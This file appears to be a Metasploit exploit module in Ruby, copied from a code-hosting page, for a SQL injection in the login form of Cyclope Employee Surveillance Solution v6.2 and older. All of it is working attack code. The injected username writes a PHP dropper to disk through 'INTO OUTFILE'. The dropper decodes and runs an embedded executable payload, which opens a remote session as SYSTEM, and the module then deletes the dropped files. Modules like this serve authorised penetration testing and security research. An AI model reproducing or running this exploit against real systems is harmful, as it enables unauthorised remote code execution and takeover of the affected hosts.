174 lines
4.7 KiB
Ruby
174 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",
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'Description' => %q{
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This module exploits a SQL injection found in Cyclope Employee Surveillance
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Solution. Because the login script does not properly handle the user-supplied
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username parameter, a malicious user can manipulate the SQL query, and allows
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arbitrary code execution under the context of 'SYSTEM'.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'loneferret', #Original discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '84517'],
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['EDB', '20393']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Cyclope Employee Surveillance Solution v6.2 or older', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 8 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, "The web application's port", 7879]),
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OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
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])
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end
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def check
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peer = "#{rhost}:#{rport}"
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path = File.dirname("#{target_uri.path}/.")
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b64_version = get_version(path)
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if b64_version.empty?
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vprint_error("Unable to determine the version number")
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else
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b64_version = Rex::Text.decode_base64(b64_version)
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if b64_version =~ /^[0-6]\.1/
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return Exploit::CheckCode::Appears
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end
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end
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return Exploit::CheckCode::Safe
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end
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def get_version(path)
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res = send_request_raw({'uri'=> "#{path}index.php"})
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return '' if not res
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v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
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return '' if not v
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return v
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end
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def on_new_session(cli)
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if cli.type != 'meterpreter'
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print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
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return
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end
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cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
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begin
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print_warning("Deleting #{@php_fname}")
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cli.fs.file.rm(@php_fname)
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rescue ::Exception => e
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print_error("Please note: #{@php_fname} is stil on disk.")
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end
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begin
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print_warning("Deleting #{@exe_fname}")
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cli.fs.file.rm(@exe_fname)
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rescue ::Exception => e
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print_error("Please note: #{@exe_fname} is still on disk.")
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end
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end
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def get_php_payload(fname)
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p = Rex::Text.encode_base64(generate_payload_exe)
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php = %Q|
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<?php
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$f = fopen("#{fname}", "wb");
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fwrite($f, base64_decode("#{p}"));
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fclose($f);
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exec("#{fname}");
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?>
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php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
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return php
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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path = File.dirname("#{target_uri.path}/.")
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#
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# Need to fingerprint the version number in Base64 for the payload path
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#
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b64_version = get_version(path)
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if b64_version.empty?
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print_error("Unable to determine the version number")
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return
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end
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print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")
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#
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# Prepare our payload (naughty exe embedded in php)
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#
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@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
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@php_fname = Rex::Text.rand_text_alpha(6) + '.php'
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php = get_php_payload(@exe_fname).unpack("H*")[0]
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sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"
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#
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# Inject payload
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#
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print_status("Injecting PHP payload...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => path,
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'vars_post' => {
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'act' => 'auth-login',
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'pag' => 'login',
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'username' => sqli,
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'password' => Rex::Text.rand_text_alpha(5)
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}
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})
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#
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# Load our payload
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#
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print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
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send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
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if res and res.code == 404
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print_error("Server returned 404, the upload attempt probably failed")
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return
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end
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handler
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end
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end
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